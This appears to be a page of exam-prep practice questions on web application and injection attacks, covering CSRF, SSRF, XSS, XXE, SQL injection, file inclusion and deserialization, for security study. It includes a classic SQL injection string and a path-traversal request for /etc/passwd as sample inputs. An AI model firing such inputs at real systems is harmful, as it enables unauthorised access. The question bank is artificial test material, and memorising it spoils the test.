Question 161easymultiple choice

Read the full Web Application and Injection Attacks explanation →

An attacker crafts a link that, when clicked by an authenticated user, performs an unintended action on a web application where the user is logged in, such as changing their email address. The application uses a session cookie for authentication but does not include any anti-forgery tokens in forms. Which attack is this?

Question 162mediummulti select

Read the full Web Application and Injection Attacks explanation →

A security analyst identifies that a web application is vulnerable to Server-Side Request Forgery (SSRF). Which TWO of the following are effective mitigation techniques for SSRF?

Question 163mediummulti select

Read the full Web Application and Injection Attacks explanation →

During a penetration test, a tester finds a web application that reflects user input in the page without sanitization. Which TWO types of XSS are potentially exploitable in this scenario?

Question 164mediummulti select

Read the full Web Application and Injection Attacks explanation →

An attacker is attempting to perform an Insecure Direct Object Reference (IDOR) attack on a web application. Which TWO conditions are necessary for this attack to succeed?

Question 165easymulti select

Read the full Web Application and Injection Attacks explanation →

A web application is vulnerable to XML External Entity (XXE) injection. Which THREE of the following are potential impacts of successfully exploiting an XXE vulnerability?

Question 166hardmulti select

Read the full Web Application and Injection Attacks explanation →

A penetration tester is performing a check for HTTP response splitting. Which THREE of the following conditions must be present for this attack to succeed?

Question 167mediummulti select

Read the full Web Application and Injection Attacks explanation →

A security analyst notices that a web application's search functionality returns database error messages in the response. The analyst suspects SQL injection. Which TWO techniques should the analyst use to confirm and exploit this vulnerability? (Choose TWO.)

Question 168mediummulti select

Read the full Web Application and Injection Attacks explanation →

During a web application penetration test, a tester discovers a file inclusion vulnerability. Which THREE of the following are potential impacts or exploitation scenarios? (Choose THREE.)

Question 169hardmulti select

Read the full Web Application and Injection Attacks explanation →

A security engineer is reviewing web server logs and finds the following request: GET /files/../../../etc/passwd HTTP/1.1. Which THREE attacks could be associated with this request? (Choose THREE.)

Question 170mediummulti select

Read the full Web Application and Injection Attacks explanation →

A penetration tester uses Burp Suite to intercept and modify web traffic. Which TWO features in Burp Suite would be MOST useful for performing a brute-force attack on a login form? (Choose TWO.)

Question 171easymulti select

Read the full Web Application and Injection Attacks explanation →

A web application tester encounters a parameter that is reflected in the response without sanitization. The tester suspects XSS. Which TWO types of XSS could be present in this scenario? (Choose TWO.)

Question 172mediummulti select

Read the full Web Application and Injection Attacks explanation →

During a web application test, the tester finds that the application includes user-supplied file names in include() statements. Which TWO of the following are indicators of a Remote File Inclusion (RFI) vulnerability? (Choose TWO.)

Question 173mediummultiple choice

Read the full Web Application and Injection Attacks explanation →

A penetration tester is assessing a PHP e-commerce site. The product search page builds its query by concatenating user input directly into a statement executed with mysqli_query(). When the tester submits the string ' OR '1'='1 as the search term, the application returns every product in the catalog instead of an empty result set. The tester wants to confirm the vulnerability and then extract the contents of the users table. Which action should the tester take FIRST?

Question 174hardmultiple choice

Read the full Web Application and Injection Attacks explanation →

A tester finds that a Java web application stores a serialized user profile object in a cookie named 'profile'. The application deserializes this cookie on every request using ObjectInputStream without validating its contents. The tester wants to demonstrate remote code execution rather than merely causing a denial of service. Which approach best demonstrates this?

Question 175easymultiple choice

Read the full Web Application and Injection Attacks explanation →

During a web application assessment, a tester notices that a page reflects the value of a query parameter directly into the HTML response body without encoding, and the reflected value executes script in the browser when the crafted link is opened. Which of the following most accurately describes this vulnerability?

Question 176mediummulti select

Read the full Web Application and Injection Attacks explanation →

A tester is reviewing a web application that builds SQL queries using string concatenation and places user input directly into the query text. The development team wants to eliminate the SQL injection class of vulnerability rather than patch individual reports. Which TWO measures should the tester recommend to the team? (Choose two.)